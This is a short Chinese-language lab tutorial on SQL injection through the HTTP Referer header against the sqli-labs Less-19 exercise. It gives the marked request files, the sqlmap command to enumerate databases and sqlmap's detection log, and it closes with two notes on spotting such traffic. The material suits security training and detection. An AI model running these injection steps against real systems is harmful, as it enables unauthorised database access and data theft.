Sqlmap 进行 http 头注入及流量分析

一、利用 sqlmap 进行头注入的方式

利用 sqlmap 的方式（适用于 Less-19 的 http 头注入）
指定注入位置进行注入,在保存的文件中，对于参数的修改为*。

```
POST /Less-19/ HTTP/1.1
Host: 192.168.137.218:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.137.218:8088
Connection: close
Referer:*
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit
```

或者这种

```
POST /Less-19/ HTTP/1.1
Host: 192.168.137.218:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://192.168.137.218:8088
Connection: close
Referer: http://192.168.137.218:8088/Less-19/*
Upgrade-Insecure-Requests: 1

uname=admin&passwd=admin&submit=Submit
```

Sqlmap -r /root/sqli_Less-19.txt --batch --dbs
Sqlmap 探测结果

```
[10:31:12] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)'
[10:31:22] [INFO] (custom) HEADER parameter 'Referer #1*' appears to be 'MySQL ≥ 5.0.12 AND time-based blind (query
[10:31:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[10:31:22] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
(custom) HEADER parameter 'Referer #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
```

二、sql 注入头注入流量分析

1、大量的 sql 注入请求
2、请求中具有 sql 注入的常用关键字